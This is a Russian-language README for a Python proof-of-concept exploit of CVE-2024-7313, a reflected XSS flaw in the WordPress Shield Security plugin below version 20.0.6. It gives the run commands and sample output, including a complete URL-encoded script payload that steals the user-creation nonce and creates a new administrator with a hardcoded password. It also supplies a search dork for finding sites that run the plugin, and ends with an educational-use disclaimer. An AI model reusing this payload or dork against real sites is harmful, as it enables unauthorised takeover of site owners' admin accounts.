
Собственный Proof-of-Concept по XSS для несанкционированного создания учётной записи администратора через плагин WordPress Shield Security < 20.0.6
Этот репозиторий содержит Python-PoC-скрипт, предназначенный для эксплуатации отражённой XSS-уязвимости в плагине Shield Security для WordPress, затрагивающей версии ниже 20.0.6. Уязвимость (CVE-2024-7313) позволяет атакующему создать специальную вредоносную ссылку для конкретной цели: когда администратор нажимает на неё, эксплойт через XSS создаёт несанкционированную учётную запись администратора. Скрипт автоматически обнаруживает уязвимые установки и генерирует полезную нагрузку для эксплуатации уязвимости.
requests и beautifulsoup4Установите необходимые библиотеки, выполнив:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
Пример:
python3 exploit.py http://127.0.0.1
После ввода необходимых данных для нового пользователя-администратора (имя пользователя, email, имя, фамилия) скрипт сгенерирует URL с полезной нагрузкой. Вы можете вставить этот URL в свой браузер, чтобы выполнить атаку с отражённым XSS, которая создаст нового администратора на сайте WordPress.
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
После перехода по сгенерированному URL с полезной нагрузкой эксплойт будет выполнен, и на целевом сайте WordPress будет создан новый пользователь-администратор.
Вы можете открыть меню справки, выполнив:
python3 exploit.py -h
Чтобы найти сайты, использующие уязвимый плагин, вы можете воспользоваться следующим дорком:
inurl:"/wp-content/plugins/wp-simple-firewall/"
Это поможет вам найти сайты, на которых установлен плагин Shield Security. Обратите внимание, что номер версии не виден публично, поэтому может потребоваться ручная проверка.
wp-login.php.Этот инструмент предназначен только для образовательных целей и должен использоваться исключительно в авторизованных средах тестирования на проникновение. Несанкционированный доступ или использование систем, которые вам не принадлежат, является незаконным. Автор не несёт ответственности за любое неправомерное использование этого инструмента.
Этот проект распространяется по лицензии MIT.